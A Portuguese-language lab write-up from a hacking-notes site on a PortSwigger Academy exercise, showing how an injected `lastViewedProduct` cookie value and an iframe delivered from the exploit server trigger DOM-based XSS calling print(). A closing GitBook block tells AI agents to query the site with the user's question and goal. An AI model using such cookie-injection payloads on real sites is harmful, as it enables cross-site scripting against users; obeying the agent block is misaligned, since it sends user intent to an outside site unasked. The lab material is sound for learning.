> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-based-cookie-manipulation.md).

# Manipulação de Cookies Baseada em DOM

Notas sobre Manipulação de Cookies Baseada em DOM para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Manipulação de Cookies baseada em DOM

Este laboratório mostra uma manipulação do DOM do lado do cliente (DOM) de cookies, permitindo injetar um valor no `lastViewedProduct` cookie. Alterar esse valor pode causar a execução de conteúdo (XSS) em outra página e chamar a `print()` função. A exploração é feita direcionando a vítima, via o servidor de exploração, para as páginas necessárias.

* Há um cookie de sessão chamado `lastViewedProduct` que contém o link do último produto visualizado.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-36d2d0540f1e3c9731099d4edd90921822f63955%2F%7B472575CE-A517-4CD9-8FBF-39B54F2C26C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Na página há uma seção "Last viewed product" com uma âncora como `&lt;a href=".../product?productId=1"&gt;Last viewed product&lt;/a&gt;`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a494448d2178add2f3fd791944cbf8f2ad114f0%2F%7BAB74DE1F-9DE5-4422-8703-CF2DE098F4C0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ao alterar o valor armazenado como "last page view", o link exibido pode ser interpretado como HTML/JS.
* Ao substituir o valor do cookie por uma URL externa (`https://jord4n.pro`) o link redireciona para esse site.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb2d1a3728f0e27028f867c7ca64d8befae12a0f%2F%7B4B4BBFEA-AF87-4629-B241-2623CF31F710%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A inserção de `JavaScript:print()` no valor é interpretada pelo navegador nesse contexto.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a18c40aa02357f1c4565c736da9b624e273d13ee%2F%7BBEE27B3D-6CE4-443D-A42D-9C8045F1087B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Ao injetar um payload contendo HTML, por exemplo `productId=1&'><h1>TEST</h1>`, o conteúdo é renderizado.

{% code overflow="wrap" %}

```html
<a href="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1">Last viewed product</a>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3b88951a0b1f8f2b876bf32cad1ca341c967ff%2F%7B300C232B-B69B-413A-9A59-184840499D71%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um payload de script como `productId=1&'><script>print()</script>` também é interpretado e acionado `print()`.

```
productId=1&'><script>print()</script>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dfbb4ff2d46f45101875487647e5c3efe8ac0b8c%2F%7B9AFEBFB1-F361-4A70-80D1-1A4716ABB890%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

1. Armazene a vítima em seu `lastViewedProduct` cookie um valor contendo a injeção (a página do produto é usada para salvar esse valor).
2. Em seguida, direcione a vítima para a página inicial (ou a página que exibe "Last viewed product") para que o valor malformado seja retornado e execute o script (`print()`).
3. Use o servidor de exploração para orquestrar o redirecionamento para a página do produto (que grava o cookie) e depois para a página onde o cookie é exibido.

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x){this.src='https://0a73004204b35bb980b9218200c90043.web-security-academy.net/'; window.x=1;}"></iframe>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b109e12396eb114e843e97d8f606e98c19d2ed46%2F%7B9257C3B5-3544-4697-9B4B-C2DBA4B0441E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-based-cookie-manipulation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
